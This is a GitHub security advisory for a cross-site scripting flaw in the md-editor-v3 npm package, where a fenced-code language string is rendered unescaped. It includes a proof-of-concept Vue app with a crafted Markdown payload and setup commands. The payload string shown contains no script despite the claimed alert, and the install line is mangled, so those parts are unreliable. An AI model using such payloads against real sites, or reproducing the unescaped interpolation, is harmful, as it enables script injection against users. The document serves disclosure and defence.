GitHub Advisoryadvisory · npm
GHSA-3rm2-h79c-8qw6 md-editor-v3: XSS via fenced-code language rendering bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-84992
- Ecosystem
- npm
- Packages
- md-editor-v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-09-18
Affected packages
• npm md-editor-v3: < 6.5.4 → fixed in 6.5.4
Description
Summary
`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.
Details
`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class="language-${language}"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.
PoC
The Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:
```js
import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';
config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x">\nSAFE\n```';
createApp({ render: () => h(MdPreview,
{ editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');
```
Create and run the app, replacing `src/main.js` when indicated:
```sh
npm create vite@latest poc -- --template vue
cd poc
npm install
npm install [email protected]
Replace src/main.js with the code above.
npm run dev
```
Opening the displayed URL automatically shows the application hostname in an alert.
Impact
An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.
Suggested fix
Escape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.
Related
Alias · CVE (1)
- CVE-2026-84992 md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness